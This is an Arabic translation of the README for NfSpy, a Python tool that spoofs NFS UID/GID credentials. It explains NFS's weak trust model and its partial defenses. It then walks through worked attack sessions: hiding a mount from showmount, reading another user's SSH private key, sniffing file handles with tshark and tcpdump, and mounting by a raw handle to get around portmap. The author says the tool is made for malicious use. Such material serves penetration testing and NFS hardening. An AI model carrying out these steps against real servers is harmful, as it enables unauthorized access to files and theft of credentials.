
عميل NFS لانتحال الهوية
بقلم Daniel Miller
NfSpy هي مكتبة بايثون لأتمتة تزوير بيانات اعتماد NFS عند تركيب مشاركة NFS. يتضمن البرنامج عميلين:
nfspy يستخدم مكتبة نظام الملفات في مساحة المستخدم (FUSE) لتركيب مشاركة NFS في لينكس. يتيح ذلك استخدام أي برامج عادية للبحث عن الملفات ومعالجتها مثل grep وfind لاستكشاف تصدير NFS.
nfspysh هو غلاف تفاعلي شبيه بـ ftp لاستكشاف صادرات NFS. لا يتطلب مكتبة FUSE، لذا يمكن تشغيله على منصات غير لينكس.
قبل الإصدار 4 من NFS، يعتمد البروتوكول على علاقات الثقة بين المضيفين للمصادقة. يثق خادم NFS بأي أجهزة عميلة لمصادقة المستخدمين وتعيين نفس معرّفات المستخدمين (UIDs) التي يستخدمها نظام الملفات المشترك. يعمل هذا في مجالات NIS وNIS+ وLDAP، على سبيل المثال، لكن فقط إذا كنت تعلم أن الجهاز العميل غير مخترق ولا يزوّر هويته. وذلك لأن المصادقة الوحيدة في بروتوكول NFS هي تمرير UID وGID (معرّف المجموعة). هناك بعض الأشياء التي يمكن القيام بها لتعزيز أمان NFS، لكن الكثير منها حلول غير مكتملة، وحتى مع جميع الإجراءات الثلاثة المذكورة هنا، قد يظل من الممكن التحايل على الإجراءات الأمنية.
يمكن تكوين الخادم أو المشاركة («التصدير» في لغة NFS) بإعداد root_squash، أي أن أي طلبات تدّعي أنها تحمل UID أو GID بقيمة 0 (الجذر root) ستُعامل كمستخدم nobody أو ما يعادله على النظام. هذا لا يمنع المهاجم من انتحال أي تركيبة UID/GID أخرى، لكنه يحمي المعلومات والإعدادات الأكثر حساسية في التصدير.
إعداد آخر يمكن تفعيله هو nfs_portmon، الذي يرفض الطلبات القادمة من منافذ مصدر خارج النطاق 513-1024. وبما أن الجذر فقط يمكنه (عادةً) تخصيص هذه المنافذ، فإن هذا يمنع مستخدمًا عاديًا على جهاز موثوق من كتابة واستخدام عميل NFS خاص به يزوّر UID/GID. لا يفعل شيئًا لمنع مضيف مارق، أو مستخدم بصلاحيات su، أو جهاز مخترق بصلاحيات جذر من فعل الشيء نفسه.
يمكن التحكم في المشاركات/الصادرات بحيث لا يمكن الوصول إليها إلا لأجهزة معينة. يمكن أن تتكون قوائم التحكم بالوصول هذه من:
أفضل إعداد هو استخدام قائمة مضيفين، لأن الاستعلام عن خادم nfs سيعطي اسم القائمة فقط، وليس العناوين أو الأسماء التي تحتويها. يلي ذلك عناوين IP أو أسماء المضيفين، لأنها أصعب في الانتحال. بادئات IP وخيار «الجميع» مؤشرات على انعدام الأمان، إذ لا يوجد سوى قيود قليلة أو معدومة على العناوين التي يمكنها الاتصال.
يمكن الاطلاع على قائمة الخيارات بتشغيل
nfspy --help
يوجد خادم NFS على 192.168.1.124.
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)
قم بتركيب المشاركة. يتيح استخدام sudo الارتباط بمنفذ مميز، ويتيح خيار allow_other لأي مستخدم استخدام نظام الملفات. الخيار الجديد الآخر هنا هو hide، الذي يقوم فورًا «بإلغاء تركيب» المشاركة على الخادم، لكنه يحتفظ بمقبض الملف الذي حصل عليه. هذا يخفي وجودك عن أي شخص يستخدم showmount -a
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt
استمتع بحريتك المكتشفة حديثًا!
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>
لإلغاء التركيب، استخدم fusermount:
$ sudo fusermount -u /mnt
يوجد خادم NFS على 192.168.1.124. خدمة Portmap محظورة، لذا لا يمكنك الحصول على قائمة المشاركات، لكن يمكنك التقاط حركة مرور الشبكة.
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
^C3 packets captured
الآن استخدم خياري التركيب dirhandle و getroot لتجنب استخدام خادم mount، واستخدم خيار nfsport لتجنب استخدام portmapper، وتنقّل صعودًا في شجرة الدلائل حتى جذر التصدير.
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt
لاحظ أننا لم نوفر مسارًا للتركيب، لأن كل ما نعرفه هو مقبض ملف nfs. لكي يعمل هذا، يجب أن يكون المقبض لدليل وليس لملف، ويجب أن تتحرك بسرعة وإلا سيصبح المقبض قديمًا.
برنامج tshark جزء من مشروع Wireshark. كما أن برنامج tcpdump الشائع لديه القدرة على فك ترميز مقابض ملفات NFS باستخدام الخيار -u:
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]
مقابض الملفات هذه مُعرَضة بصيغة 4 بايتات مفصولة بنقطتين رأسيتين، لذا سيتعين عليك حشوها بالأصفار بنفسك؛ NfSpy سيزيل النقطتين الرأسيتين فقط، وهذا غير صحيح.
nfspysh يقبل نفس مجموعة الخيارات الأساسية بنفس تنسيق nfspy، لذا فإن الشرح أعلاه سيعمل بشكل جيد. يمكن الاطلاع على قائمة الأوامر باستخدام الأمر «help».
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775 1000 1000 4096 2013-04-13 23:20:37 .
040775 1000 1000 4096 2013-04-13 23:20:37 ..
040775 1000 1000 4096 2013-04-11 06:36:48 public
040775 1000 1000 4096 2013-04-13 23:26:40 more
040700 0 1000 4096 2013-04-11 06:39:12 secrets
100666 1000 1000 5 2013-04-13 23:28:02 README.md
120777 1000 1000 21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
cd
chmod
chown
exit
get
help
lcd
lpwd
ls
mkdir
mv
put
pwd
rm
rmdir
umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]
Retrieve <filename> and save to <localname>. If no <localname> is given,
defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.
صلاحية الكتابة في مرحلة بيتا. لقد عملت في اختباراتي على عدد قليل من الأنظمة، لكنها تحتاج إلى مزيد من الاختبار. لهذا السبب، يضبط NfSpy التركيب على ro افتراضيًا. حدد خيار التركيب rw لتغيير ذلك. (لا يمتلك nfspysh وضع قراءة فقط. تصرف بحذر!)
لا يعمل NfSpy مع خدمتي lockd وstatd القياسيتين، مما قد يسبب مشاكل في الكتابة إلى الملفات. لكن بالنسبة للقراءة فقط، ومعظم الاستخدامات الخبيثة التي صُمم من أجلها، لا ينبغي أن تكون هذه مشكلة.
يدعم NfSpy حاليًا NFSv3 فقط. قد تختار الإصدارات المستقبلية إصدار NFS بذكاء.